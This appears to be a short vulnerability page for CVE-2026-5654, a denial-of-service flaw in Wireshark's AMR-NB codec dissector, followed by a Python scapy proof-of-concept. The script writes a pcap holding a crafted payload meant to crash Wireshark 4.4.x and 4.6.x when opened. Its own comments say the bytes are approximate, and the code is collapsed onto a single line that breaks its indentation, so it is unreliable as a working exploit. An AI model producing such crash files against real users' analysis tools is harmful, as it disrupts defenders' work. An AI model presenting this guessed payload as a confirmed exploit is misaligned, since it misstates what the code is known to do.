CVE-2026-5654 Wireshark AMR-NB编解码器拒绝服务漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-5654 (Wireshark AMR-NB Crash) # This script creates a malicious packet designed to trigger the crash. # Usage: python3 poc.py -> Open cve_2026_5654.pcap with vulnerable Wireshark from scapy.all import Ether, IP, UDP, Raw, wrpcap import sys def generate_malicious_pcap(filename="cve_2026_5654.pcap"): # Construct a basic packet frame # AMR-NB often runs over RTP/UDP, but the dissectors handle Raw input pkt = Ether() / IP(dst="127.0.0.1") / UDP(sport=1234, dport=5678) # Malicious payload targeting the AMR-NB codec parser # This payload simulates a malformed frame header that triggers the bug. # Exact bytes may vary based on specific dissection logic. # 0x3C is a common AMR-NB payload header byte, followed by garbage data malicious_payload = b"\x3c" + b"\x00" * 10 + b"\xff" * 50 pkt = pkt / Raw(load=malicious_payload) # Write the packet to a pcap file wrpcap(filename, [pkt]) print(f"[+] PoC file generated: {filename}") print(f"[+] Open this file in Wireshark 4.4.0 - 4.4.14 or 4.6.0 - 4.6.4 to reproduce the crash.") if __name__ == "__main__": generate_malicious_pcap()